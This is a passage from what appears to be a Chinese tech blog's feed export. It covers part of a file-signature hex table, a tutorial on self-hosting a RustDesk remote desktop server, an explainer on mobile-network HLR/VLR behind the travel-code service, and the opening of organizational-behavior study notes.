21</td><td>RAR Archive File</td></tr><tr><td>RAW</td><td>06 05 00</td><td></td></tr><tr><td>reg</td><td>52 45 47 45 44 49 54 34</td><td></td></tr><tr><td>rgb</td><td>01 DA 01 01 00 03</td><td>Silicon Graphics RGB Bitmap</td></tr><tr><td>RM</td><td>2E 52 4D</td><td></td></tr><tr><td>rm; rmvb</td><td>2E 52 4D 46</td><td>Real Media streaming media file</td></tr><tr><td>rpm</td><td>ED AB EE DB</td><td>RPM Archive File</td></tr><tr><td>RTD</td><td>43 23 2B 44 A4 43 4D A5 48 64 72</td><td>RagTime document file</td></tr><tr><td>RTF</td><td>7B 5C 72</td><td></td></tr><tr><td>rtf</td><td>7B 5C 72 74 66</td><td>Rich Text Format File</td></tr><tr><td>sav</td><td>24 46 4C 32 40 28 23 29 20 53 50 53 53 20 44 41 54 41 20 46 49 4C 45</td><td>SPSS Data file</td></tr><tr><td>SBV</td><td>46 45 44 46</td><td>(Unknown file type)</td></tr><tr><td>SCH</td><td>2A 76 65</td><td></td></tr><tr><td>scm</td><td>80 53 43</td><td></td></tr><tr><td>SH3</td><td>48 48 47 42 31</td><td>Harvard Graphics presentation file</td></tr><tr><td>SHD</td><td>4B 49 00 00</td><td>Windows 9x printer spool file</td></tr><tr><td>sit</td><td>53 49 54 21</td><td>Stuffit v1 Archive File</td></tr><tr><td>sit</td><td>53 74 75 66 66 49 74</td><td>Stuffit v5 Archive File</td></tr><tr><td>sle</td><td>3A 56 45 52 53 49 4F 4E</td><td>Surfplan kite project file</td></tr><tr><td>sle</td><td>41 43 76</td><td>teganos Security Suite virtual secure drive</td></tr><tr><td>sly; srt; slt</td><td>53 52 01 00</td><td>Sage sly.or.srt.or.slt</td></tr><tr><td>SMD</td><td>00 FF FF</td><td></td></tr><tr><td>snm</td><td>00 1E 84 90 00 00 00 00</td><td>Netscape Communicator (v4) mail folder</td></tr><tr><td>SNP</td><td>4D 53 43 46</td><td>Microsoft Access Snapshot Viewer file</td></tr><tr><td>sol</td><td>00 BF</td><td>Adobe Flash shared object file (e.g., Flash cookies)</td></tr><tr><td>spl</td><td>00 00 01 00</td><td>Windows NT&#x2F;2000&#x2F;XP printer spool file</td></tr><tr><td>SCR</td><td>4D 5A</td><td>Screen saver</td></tr><tr><td>SUB</td><td>FF FF FF</td><td></td></tr><tr><td>SWF</td><td>43 57 53</td><td>Shockwave Flash file (v5+)</td></tr><tr><td>SWF</td><td>46 57 53</td><td>Macromedia Shockwave Flash player file</td></tr><tr><td>sxc</td><td>calc</td><td>OpenOffice Calc</td></tr><tr><td>sxd</td><td>draw</td><td>OpenOffice Draw</td></tr><tr><td>sxi</td><td>impress</td><td>OpenOffice Impress</td></tr><tr><td>sxm</td><td>math</td><td>OpenOffice Math</td></tr><tr><td>sxw</td><td>writer</td><td>OpenOffice Writer</td></tr><tr><td>syw</td><td>41 4D 59 4F</td><td>Harvard Graphics symbol graphic</td></tr><tr><td>TAG</td><td>00 00 02</td><td></td></tr><tr><td>tar; cpio</td><td>30 37 30 37 30 37</td><td>CPIO Archive File</td></tr><tr><td>tar.z</td><td>1F 9D 90</td><td>Compressed tape archive file</td></tr><tr><td>tga</td><td>00 00 10 00 00</td><td>RLE压缩的前5字节</td></tr><tr><td>TGA</td><td>00 00 02</td><td></td></tr><tr><td>tga</td><td>00 00 02 00 00</td><td>未压缩的前5字节</td></tr><tr><td>TIF; TIFF</td><td>49 20 49</td><td>Tagged Image File Format file</td></tr><tr><td>tif; tiff</td><td>49 49 2A</td><td>TIFF (Intel)</td></tr><tr><td>tif; tiff</td><td>49 49 2A 00</td><td>Tagged Image File Format file (little endian, i.e., LSB first in the byte; Intel)</td></tr><tr><td>TIF; TIFF</td><td>4D 4D 00 2A</td><td>Tagged Image File Format file (big endian, i.e., LSB last in the byte; Motorola)</td></tr><tr><td>tif; tiff</td><td>4D 4D 2A</td><td>TIFF (Motorola)</td></tr><tr><td>TIF; TIFF</td><td>4D 4D 00 2B</td><td>BigTIFF files; Tagged Image File Format files &gt;4 GB</td></tr><tr><td>TLB</td><td>4D 53 46 54 02 00 01 00</td><td>OLE, SPSS, or Visual C++ type library file</td></tr><tr><td>tr1</td><td>01 10</td><td>Novell LANalyzer capture file</td></tr><tr><td>TST</td><td>00 01 00</td><td></td></tr><tr><td>TTF</td><td>00 01 00</td><td></td></tr><tr><td>ufa</td><td>55 46 41</td><td>UFA Archive File</td></tr><tr><td>VBX</td><td>4D 5A</td><td>VisualBASIC application</td></tr><tr><td>VCD</td><td>45 4E 54 52 59 56 43 44 02 00 00 01 02 00 18 58</td><td>VideoVCD (GNU VCDImager) file</td></tr><tr><td>vcf</td><td>42 45 47 49 4E 3A 56 43 41 52 44 0D 0A</td><td>vCard file</td></tr><tr><td>vob</td><td>00 00 01 BA</td><td>DVD Video Movie File (video&#x2F;dvd, video&#x2F;mpeg)</td></tr><tr><td>VXD, 386</td><td>4D 5A</td><td>Windows virtual device drivers</td></tr><tr><td>WAV</td><td>52 49 46</td><td></td></tr><tr><td>wav</td><td>57 41 56 45</td><td>Wave</td></tr><tr><td>wav</td><td>57 41 56 45 66 6D 74</td><td>Wave Files</td></tr><tr><td>wb2</td><td>00 00 02 00</td><td>QuattroPro for Windows Spreadsheet file</td></tr><tr><td>wb3</td><td>[24 byte offset] 3E 00 03 00 FE FF 09 00 06</td><td>Quatro Pro for Windows 7.0 Notebook file</td></tr><tr><td>wk1; wks</td><td>20 00 60 40 60</td><td>Lotus 123 v1 Worksheet</td></tr><tr><td>wk1</td><td>00 00 02 00 06 04 06 00 08 00 00 00 00 00</td><td>Lotus 1-2-3 spreadsheet (v1) file</td></tr><tr><td>wk3</td><td>00 00 1A 00 00 10 04 00</td><td>Lotus 123 spreadsheet (v3) file</td></tr><tr><td>wk4; wk5</td><td>00 00 1A 00 02 10 04 00</td><td>Lotus 1-2-3 spreadsheet (v4, v5) file</td></tr><tr><td>wks</td><td>0E 57 4B 53</td><td>DeskMate Worksheet</td></tr><tr><td>WMA</td><td>30 26 B2</td><td></td></tr><tr><td>wmf</td><td>01 00 09 00</td><td>Graphics Metafile</td></tr><tr><td>wmf</td><td>01 00 09 00 00 03</td><td>Windows Metadata file (Win 3.x format)</td></tr><tr><td>wmf</td><td>02 00 09 00</td><td>Graphics Metafile</td></tr><tr><td>wmf</td><td>D7 CD C6 9A</td><td>Windows Meta File</td></tr><tr><td>WMV</td><td>30 26 B2</td><td></td></tr><tr><td>wp</td><td>FF 57 50 43</td><td>WordPerfect v5 or v6</td></tr><tr><td>wpd</td><td>FF 57 50 43</td><td>WordPerfect</td></tr><tr><td>wpg</td><td>FF 57 50 47</td><td>WordPerfect Graphics</td></tr><tr><td>wri</td><td>31 BE</td><td>Microsoft Write file</td></tr><tr><td>WRI</td><td>31 BE 00</td><td></td></tr><tr><td>wri</td><td>32 BE</td><td>Microsoft Write file</td></tr><tr><td>ws</td><td>1D 7D</td><td>WordStar Version 5.0&#x2F;6.0 document</td></tr><tr><td>XBE</td><td>58 42 45</td><td></td></tr><tr><td>xdr</td><td>3C</td><td>BizTalk XML-Data Reduced Schema file</td></tr><tr><td>xls</td><td>09 02 06 00 00 00 10 00 B9 04 5C 00</td><td>MS Excel v2</td></tr><tr><td>xls</td><td>09 04 06 00 00 00 10 00 F6 05 5C 00</td><td>MS Excel v4</td></tr><tr><td>XLS</td><td>D0 CF 11</td><td></td></tr><tr><td>xls</td><td>D0 CF 11 E0</td><td>MS Excel</td></tr><tr><td>xls</td><td>[512 byte offset] 09 08 10 00 00 06 05 00</td><td>Excel spreadsheet subheader (MS Office)</td></tr><tr><td>XML</td><td>3C 3F 78</td><td></td></tr><tr><td>xml</td><td>3C 3F 78 6D 6C</td><td>XML Document</td></tr><tr><td>xml</td><td>FF FE 3C 00 52 00 4F 00 4F 00 54 00 53 00 54 00 55 00 42 00</td><td>XML Document (ROOTSTUB)</td></tr><tr><td>XMV</td><td>00 50 01</td><td></td></tr><tr><td>XSL</td><td>FF FE 3C</td><td></td></tr><tr><td>xul</td><td>72 73 69 6F 6E 3D 22 31 3C 3F 78 6D 6C 20 76 65 2E 30 22 3F 3E</td><td>XML User Interface Language file</td></tr><tr><td>z</td><td>1F 9D</td><td>TAR Compressed Archive File</td></tr><tr><td>Z</td><td>1F 9D 8C</td><td></td></tr><tr><td>ZIP</td><td>50 4B 03</td><td></td></tr><tr><td>zip; jar; zipx</td><td>50 4B 03 04</td><td>ZIP Archive</td></tr><tr><td>zip</td><td>50 4B 30 30</td><td>ZIP Archive (outdated)</td></tr><tr><td>Zip</td><td>50 4B 30 30 50 4B 03 04</td><td>WINZIP Compressed</td></tr><tr><td>zoo</td><td>5A 4F 4F 20</td><td>ZOO</td></tr></tbody></table><p>— 已经到底嘞 — </p><h2 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h2><p><a href="https://www.cnblogs.com/yuluoxingkong/p/10675521.html">16进制文件头笔记及文件类型判断代码 - 花月世界</a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;有时候我们在遇到一些损坏的文件或者文件格式后缀与实际文件格式不同甚至是没有标注文件格式的情况下我们就需要用到文件的HEX编码来判断手上的文件是究竟是什么格式的。&lt;br&gt;为方便判断使用，列此表。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;扩展名&lt;/th&gt;
&lt;t</summary>
      
    
    
    
    <category term="计算机与网络" scheme="https://blog.ypa.moe/categories/%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%B8%8E%E7%BD%91%E7%BB%9C/"/>
    
    
    <category term="HEX" scheme="https://blog.ypa.moe/tags/HEX/"/>
    
    <category term="文件头" scheme="https://blog.ypa.moe/tags/%E6%96%87%E4%BB%B6%E5%A4%B4/"/>
    
    <category term="格式判断" scheme="https://blog.ypa.moe/tags/%E6%A0%BC%E5%BC%8F%E5%88%A4%E6%96%AD/"/>
    
  </entry>
  
  <entry>
    <title>使用RustDesk搭建私有远程桌面服务</title>
    <link href="https://blog.ypa.moe/%E6%90%AD%E5%BB%BARustDesk%E6%9C%8D%E5%8A%A1/"/>
    <id>https://blog.ypa.moe/%E6%90%AD%E5%BB%BARustDesk%E6%9C%8D%E5%8A%A1/</id>
    <published>2022-12-30T07:00:00.000Z</published>
    <updated>2022-12-30T07:25:37.000Z</updated>
    
    <content type="html"><![CDATA[<p>不久之前，为了方便远程控制各个设备，我把各个受我控制的设备都从向日葵迁移到了 ToDesk 上。但是这几天 ToDesk 出现了<a href="https://www.v2ex.com/t/905159">严重的恶性Bug</a>。而且众所周知例如向日葵和 ToDesk 这些软件的后门那叫一个多得离谱，本身就对各个远程软件不是非常信任的我这次终于是绷不住了，决定自己想办法全面迁移到自建的远程桌面服务上。在翻找了众多远程桌面服务后，最后选中自建 RustDesk 的远程桌面服务。</p><h2 id="搭建服务器环境"><a href="#搭建服务器环境" class="headerlink" title="搭建服务器环境"></a>搭建服务器环境</h2><p>RustDesk 的服务器支持 Debian&#x2F;Ubuntu&#x2F;CentOS&#x2F;Windows&#x2F;Docker 环境搭建，本次我选择了在 Ubuntu20.04 LTS 的服务器上搭建，毕竟有公网IP使用会更方便。</p><h3 id="第一步-下载服务端程序"><a href="#第一步-下载服务端程序" class="headerlink" title="第一步 下载服务端程序"></a>第一步 下载服务端程序</h3><p>在<a href="https://github.com/rustdesk/rustdesk-server/releases">Github Releases</a>下载最新版本的 <strong>rustdesk-server-linux-amd64.zip</strong> 服务端程序压缩包，<code>unzip</code> 解压后会得到 <code>hbbs</code> 和 <code>hbbr</code> 两个文件。<br>通过<code>sudo ./hbbs -h</code>可以得知 <code>hbbs</code> 是 Rustdesk 的ID服务。同样的，通过<code>sudo ./hbbr -h</code>可以得知 <code>hbbr</code> 是 RustDesk 的中继服务器。</p><h3 id="第二步-启动基础服务端"><a href="#第二步-启动基础服务端" class="headerlink" title="第二步 启动基础服务端"></a>第二步 启动基础服务端</h3><p>在服务器上运行<code>hbbs</code>和<code>hbbr</code>，官方建议使用<a href="https://pm2.keymetrics.io/">pm2</a>管理服务。</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_"># </span><span class="language-bash">直接启动</span></span><br><span class="line">sudo ./hbbs</span><br><span class="line">sudo ./hbbr</span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">在pm2中启动</span></span><br><span class="line">sudo pm2 start ./hbbs</span><br><span class="line">sudo pm2 start ./hbbr</span><br></pre></td></tr></table></figure><div class="alert alert-info"><div class="icon"><i class="fa fa-info"></i></div><div class="text"><p>需要注意的是 <code>pm2</code> 需要 <code>Node.JS V16+</code> 才可以运行，如果需要使用 <code>pm2</code> 管理服务器端的服务请自行安装符合要求的 <code>Node.JS</code>。如果需要 <code>pm2</code> 内的服务开机自启请执行 <code>pm2 save</code> 和 <code>pm2 startup</code></p></div></div><p>默认情况下，hbbs 监听21115(tcp), 21116(tcp&#x2F;udp), 21118(tcp)，hbbr 监听21117(tcp), 21119(tcp)。务必在防火墙开启这几个端口， 请注意21116同时要开启TCP和UDP。其中21115是hbbs用作NAT类型测试，21116&#x2F;UDP是hbbs用作ID注册与心跳服务，21116&#x2F;TCP是hbbs用作TCP打洞与连接服务，21117是hbbr用作中继服务, 21118和21119是为了支持网页客户端。如果不需要网页客户端（21118，21119）支持，对应端口可以不开。</p><h3 id="第三步-进阶配置"><a href="#第三步-进阶配置" class="headerlink" title="第三步 进阶配置"></a>第三步 进阶配置</h3><h4 id="自定义服务端口"><a href="#自定义服务端口" class="headerlink" title="自定义服务端口"></a>自定义服务端口</h4><p>如果你不想使用程序默认的端口，那么你可以在启动 <code>hbbs</code> 时使用 <code>-r</code> 指定端口：</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_"># </span><span class="language-bash">直接启动</span></span><br><span class="line">sudo ./hbbs -r &lt;主机的地址[:port]&gt;</span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">在pm2中启动</span></span><br><span class="line">sudo pm2 start ./hbbs -- -r &lt;主机的地址[:port]&gt;</span><br></pre></td></tr></table></figure><p><code>hbbr</code> 则是使用 <code>-p</code> 指定：</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_"># </span><span class="language-bash">直接启动</span></span><br><span class="line">sudo ./hbbr -p &lt;主机的地址[:port]&gt;</span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">在pm2中启动</span></span><br><span class="line">sudo pm2 start ./hbbr -- -p &lt;主机的地址[:port]&gt;</span><br></pre></td></tr></table></figure><h4 id="设置无正确key禁止建立非加密连接"><a href="#设置无正确key禁止建立非加密连接" class="headerlink" title="设置无正确key禁止建立非加密连接"></a>设置无正确key禁止建立非加密连接</h4><p>在 <code>hbbs</code> 首次运行时，会自动在运行目录下生成 <code>id_ed25519</code> 和 <code>id_ed25519.pub</code> 两个文件，分别存储着用于连接加密的私钥和公钥。<br>在后面进行客户端配置的时候，我们会需要在客户端设置中填写一个key用于连接服务器。<br>出于安全性考虑，我们需要设置无正确key禁止建立非加密连接：</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_"># </span><span class="language-bash">直接启动</span></span><br><span class="line">sudo ./hbbs -k _</span><br><span class="line">sudo ./hbbr -k _</span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">在pm2中启动</span></span><br><span class="line">sudo pm2 start ./hbbs -- -k _</span><br><span class="line">sudo pm2 start ./hbbr -- -k _</span><br></pre></td></tr></table></figure><h4 id="服务端程序信息"><a href="#服务端程序信息" class="headerlink" title="服务端程序信息"></a>服务端程序信息</h4><div class="xControl">    <div class="xHeading"><div class="xIcon"><i class="fa fa-plus"></i></div><span>hbbs信息</span></div>    <div class="xContent"><div class="inner">        <figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">*@*:~/rustdesk# sudo ./hbbs -h</span><br><span class="line">hbbs 1.1.6</span><br><span class="line">Purslane Ltd. &lt;info@rustdesk.com&gt;</span><br><span class="line">RustDesk ID/Rendezvous Server</span><br><span class="line"></span><br><span class="line">USAGE:</span><br><span class="line">    hbbs [OPTIONS]</span><br><span class="line"></span><br><span class="line">FLAGS:</span><br><span class="line">    -h, --help       Prints help information</span><br><span class="line">    -V, --version    Prints version information</span><br><span class="line"></span><br><span class="line">OPTIONS:</span><br><span class="line">    -c, --config &lt;FILE&gt;                   Sets a custom config file</span><br><span class="line">    -k, --key &lt;KEY&gt;                       Only allow the client with the same key</span><br><span class="line">        --mask &lt;MASK&gt;                     Determine if the connection comes from LAN, e.g. 192.168.0.0/16</span><br><span class="line">    -p, --port &lt;NUMBER(default=21116)&gt;    Sets the listening port</span><br><span class="line">    -r, --relay-servers &lt;HOST&gt;            Sets the default relay servers, seperated by colon</span><br><span class="line">    -R, --rendezvous-servers &lt;HOSTS&gt;      Sets rendezvous servers, seperated by colon</span><br><span class="line">    -M, --rmem &lt;NUMBER(default=0)&gt;        Sets UDP recv buffer size, set system rmem_max first, e.g., sudo sysctl -w</span><br><span class="line">                                          net.core.rmem_max=52428800. vi /etc/sysctl.conf, net.core.rmem_max=52428800,</span><br><span class="line">                                          sudo sysctl –p</span><br><span class="line">    -s, --serial &lt;NUMBER(default=0)&gt;      Sets configure update serial number</span><br><span class="line">    -u, --software-url &lt;URL&gt;              Sets download url of RustDesk software of newest version</span><br></pre></td></tr></table></figure>     </div></div>    </div><div class="xControl">    <div class="xHeading"><div class="xIcon"><i class="fa fa-plus"></i></div><span>hbbr信息</span></div>    <div class="xContent"><div class="inner">        <figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">*@*:~/rustdesk# sudo ./hbbr -h</span><br><span class="line">hbbr 1.1.6</span><br><span class="line">Purslane Ltd. &lt;info@rustdesk.com&gt;</span><br><span class="line">RustDesk Relay Server</span><br><span class="line"></span><br><span class="line">USAGE:</span><br><span class="line">    hbbr [OPTIONS]</span><br><span class="line"></span><br><span class="line">FLAGS:</span><br><span class="line">    -h, --help       Prints help information</span><br><span class="line">    -V, --version    Prints version information</span><br><span class="line"></span><br><span class="line">OPTIONS:</span><br><span class="line">    -k, --key &lt;KEY&gt;                       Only allow the client with the same key</span><br><span class="line">    -p, --port &lt;NUMBER(default=21117)&gt;    Sets the listening port</span><br></pre></td></tr></table></figure>     </div></div>    </div><h2 id="客户端配置"><a href="#客户端配置" class="headerlink" title="客户端配置"></a>客户端配置</h2><h3 id="Windows-Linux-MacOS等桌面客户端"><a href="#Windows-Linux-MacOS等桌面客户端" class="headerlink" title="Windows&#x2F;Linux&#x2F;MacOS等桌面客户端"></a>Windows&#x2F;Linux&#x2F;MacOS等桌面客户端</h3><ol><li>安装运行<a href="https://www.rustdesk.com/zh"> RustDesk 客户端</a></li><li>点击 ID 右侧的菜单按钮，选择“ ID&#x2F;中继服务器”<br><img src="https://rustdesk.com/docs/en/self-host/install/images/server-set-menu-zh.png" alt="图片来自RustDesk"></li><li>在 ID 服务器输入框中输入 <code>hbbs</code> 的域名或 ip 地址，另外两个地址可以不填，RustDesk 会自动推导（如果没有特别设定），中继服务器指的是hbbr（21117）端口。<br><img src="https://rustdesk.com/docs/en/self-host/install/images/server-set-window-zh.png" alt="图片来自RustDesk"></li><li>填写由服务端生成的key并保存：<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cat &lt;运行目录&gt;/id_ed25519.pub</span><br></pre></td></tr></table></figure><div class="alert alert-danger"><div class="icon"><i class="fa fa-exclamation"></i></div><div class="text"><p>V1.2.0以前的RustDesk客户端不支持WayLand显示设备，如果需要使用支持WayLand显示设备的客户端请访问<a href="https://github.com/rustdesk/rustdesk/releases/nightly/">Github Pre-Releases</a>。如果您的设备为X11显示设备则不受限制。</p></div></div></li></ol><h3 id="Android-iOS客户端"><a href="#Android-iOS客户端" class="headerlink" title="Android&#x2F;iOS客户端"></a>Android&#x2F;iOS客户端</h3><ol><li>安装运行<a href="https://www.rustdesk.com/zh"> RustDesk 客户端</a></li><li>选择<code>设置-ID/中继服务器</code></li><li>在 ID 服务器输入框中输入 <code>hbbs</code> 的域名或 ip 地址，另外两个地址可以不填，RustDesk 会自动推导（如果没有特别设定），中继服务器指的是hbbr（21117）端口。</li><li>填写由服务端生成的key并保存：<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cat &lt;运行目录&gt;/id_ed25519.pub</span><br></pre></td></tr></table></figure>在以上设置全部完成之后即可通过自建的服务器进行远程桌面连接了。</li></ol><h2 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h2><p><a href="https://rustdesk.com/docs/zh-cn/self-host/">RustDesk Docs</a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;不久之前，为了方便远程控制各个设备，我把各个受我控制的设备都从向日葵迁移到了 ToDesk 上。但是这几天 ToDesk 出现了&lt;a href=&quot;https://www.v2ex.com/t/905159&quot;&gt;严重的恶性Bug&lt;/a&gt;。而且众所周知例如向日葵和 ToDesk </summary>
      
    
    
    
    <category term="计算机与网络" scheme="https://blog.ypa.moe/categories/%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%B8%8E%E7%BD%91%E7%BB%9C/"/>
    
    
    <category term="远程桌面" scheme="https://blog.ypa.moe/tags/%E8%BF%9C%E7%A8%8B%E6%A1%8C%E9%9D%A2/"/>
    
    <category term="自建" scheme="https://blog.ypa.moe/tags/%E8%87%AA%E5%BB%BA/"/>
    
  </entry>
  
  <entry>
    <title>谈谈行程卡的原理</title>
    <link href="https://blog.ypa.moe/%E8%B0%88%E8%B0%88%E8%A1%8C%E7%A8%8B%E5%8D%A1%E7%9A%84%E5%8E%9F%E7%90%86/"/>
    <id>https://blog.ypa.moe/%E8%B0%88%E8%B0%88%E8%A1%8C%E7%A8%8B%E5%8D%A1%E7%9A%84%E5%8E%9F%E7%90%86/</id>
    <published>2022-12-12T12:00:00.000Z</published>
    <updated>2022-12-12T12:14:04.755Z</updated>
    
    <content type="html"><![CDATA[<p>昨晚通信行程卡官方发布了<a href="https://mp.weixin.qq.com/s?src=11&timestamp=1670847112&ver=4222&signature=XzNN1h0iiF9xpzRY6YlmVVsh-tO7R3XJ4kaiyqV4Sn7knVco4nnaFS3jopQadytjSp37HZExlDLW6Ak6Mlj-tBJcGcQXC20KshQxNzLevscXVgjmNnuYRdGEjOOPhLaz&new=1">《关于下线“通信行程卡”服务的公告》</a> ，官宣行程卡即将于12月13日0时起停止服务。自此，在启用2年10个月后，行程卡迎来了它的生命终点。<br>通信行程卡短信查询业务于2020年2月13日上线、网页查询于2020年2月29日上线、小程序及APP于2020年3月6日上线。至2022年12月13日停止服务，共计启用了1034天。值此具有纪念意义的日子，我们就来聊一下通信行程卡的技术原理。</p><h2 id="承载功能的移动网络"><a href="#承载功能的移动网络" class="headerlink" title="承载功能的移动网络"></a>承载功能的移动网络</h2><p>在移动通信系统中存在着三张网，分别是接入网、承载网和核心网。在我们日常使用移动网络进行通信的过程中，这三张网都是必不可少的。我们对这三张网进行一个简单的解释就是：接入网用于让用户接入网络之中，承载网用于承载传输用户和网络之间的数据，而核心网是用于处理用户数据和路由的中心结构。而行程卡的主要实现原理就和核心网有关。<br>在核心网中有这么两个部分，分别叫做HLR和VLR。</p><h2 id="功能实现的组件"><a href="#功能实现的组件" class="headerlink" title="功能实现的组件"></a>功能实现的组件</h2><p>HLR (Home Location Register) ，中文叫做归属位置寄存器，其中包含有被授权使用GSM核心网的各个移动电话签约用户的详细信息。在一个通信系统中通常存在多个HLR，用于记录不同开户地点的用户详细信息。虽然HLR有多个，但是同一个用户的IMSI&#x2F;MSISDN在同一时间只可以与唯一的HLR进行签约而这些信息会被用于终端和网络联系之间的鉴权。<br>举一个简单的例子，我在A市的中国电信申请了一个用户号码为18900001234的手机号并完成开户，那么这个用户的详细信息就会被存储于A市中国电信的HLR中，而不会存储在B市的HLR中。<br>这时可能就会有读者对此感到疑惑：既然一个用户的信息只会存储在一个地方的HLR之中，那么漫游是如何实现的呢？这里我们就要提到刚刚还没说的VLR了。<br>VLR (Visitor Location Register)，中文叫做拜访位置寄存器，其中会存储漫游到一个MSC所提供服务的范围的签约用户的数据。比如还是刚刚的号码为18900001234的用户，在他从A市移动到B市之后，为了他的号码可以正常使用，我们需要在B市的数据库中记录一个这个用户的数据。但是此时这个用户的详细信息已经存储在A市的HLR中，B市的HLR中不能也不可能有这一用户的信息，那么B市的VLR便会通过信令从A市的HLR中获取一份临时的用户数据以保证用户的网络使用正常。<br>HLR中的数据是固定保存的，类似于ROM中的数据；而VLR中的数据是临时存储的，类似于RAM中的数据。</p><h2 id="原理分析"><a href="#原理分析" class="headerlink" title="原理分析"></a>原理分析</h2><p>对HLR和VLR有基础了解之后，我们就可以简单的对行程卡的原理进行解释了：<br>当用户常驻于一个城市时，当地的HLR&#x2F;VLR中会存储一份该用户的数据并会在系统设定的时间向该用户归属地的HLR进行数据上报。同时记录数据会根据数据库中的时间记录得出该用户在某城市是否存在逗留记录。<br>行程卡是一个在特殊时期利用现有数据进行防疫追踪的好工具，在防疫工作中起到了至关重要的作用。<br>愿疫情早日结束。</p><h2 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h2><p><a href="https://zh.wikipedia.org/wiki/%E7%BD%91%E7%BB%9C%E4%BA%A4%E6%8D%A2%E5%AD%90%E7%B3%BB%E7%BB%9F">网络交换子系统 - 维基百科</a><br><a href="https://www.wpgdadatong.com/tw/blog/detail/45686">基站与小基站系统简介 - 大大通</a><br><a href="https://www.zhihu.com/question/325934238">什么是承载网，核心网和接入网 - 知乎</a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;昨晚通信行程卡官方发布了&lt;a href=&quot;https://mp.weixin.qq.com/s?src=11&amp;timestamp=1670847112&amp;ver=4222&amp;signature=XzNN1h0iiF9xpzRY6YlmVVsh-tO7R3XJ4kaiyqV4Sn</summary>
      
    
    
    
    <category term="通信工程" scheme="https://blog.ypa.moe/categories/%E9%80%9A%E4%BF%A1%E5%B7%A5%E7%A8%8B/"/>
    
    
    <category term="移动网络" scheme="https://blog.ypa.moe/tags/%E7%A7%BB%E5%8A%A8%E7%BD%91%E7%BB%9C/"/>
    
    <category term="核心网" scheme="https://blog.ypa.moe/tags/%E6%A0%B8%E5%BF%83%E7%BD%91/"/>
    
    <category term="网元分析" scheme="https://blog.ypa.moe/tags/%E7%BD%91%E5%85%83%E5%88%86%E6%9E%90/"/>
    
  </entry>
  
  <entry>
    <title>组织行为学-绪论</title>
    <link href="https://blog.ypa.moe/%E7%BB%84%E7%BB%87%E8%A1%8C%E4%B8%BA%E5%AD%A6-%E7%BB%AA%E8%AE%BA/"/>
    <id>https://blog.ypa.moe/%E7%BB%84%E7%BB%87%E8%A1%8C%E4%B8%BA%E5%AD%A6-%E7%BB%AA%E8%AE%BA/</id>
    <published>2022-11-01T11:09:10.841Z</published>
    <updated>2022-11-01T11:09:10.841Z</updated>
    
    <content type="html"><![CDATA[<p>做个自习笔记</p><h1 id="组织行为学的概念和研究内容"><a href="#组织行为学的概念和研究内容" class="headerlink" title="组织行为学的概念和研究内容"></a>组织行为学的概念和研究内容</h1><h2 id="组织行为学的概念及学科性质"><a href="#组织行为学的概念及学科性质" class="headerlink" title="组织行为学的概念及学科性质"></a>组织行为学的概念及学科性质</h2><h3 id="概念"><a href="#概念" class="headerlink" title="概念"></a>概念</h3><ul><li>组织行为学的<strong>研究对象</strong>是<strong>人的心理和行为的规律性</strong>；</li><li>组织行为学的<strong>研究范围</strong>是<strong>特定组织中人的心理和行为的规律性</strong>；</li><li>组织行为学的<strong>研究目的</strong>是<strong>提高预测、引导及控制人的行为的能力，以提升工作绩效及员工满意度</strong></li></ul><h3 id="学科性质"><a href="#学科性质" class="headerlink" title="学科性质"></a>学科性质</h3><p>组织行为学的学科性质表现在以下几个方面：</p><ul><li>跨学科性</li><li>系统性</li><li>权变性</li><li>实用性</li><li>科学性</li></ul><h2 id="组织行为学的研究内容"><a href="#组织行为学的研究内容" class="headerlink" 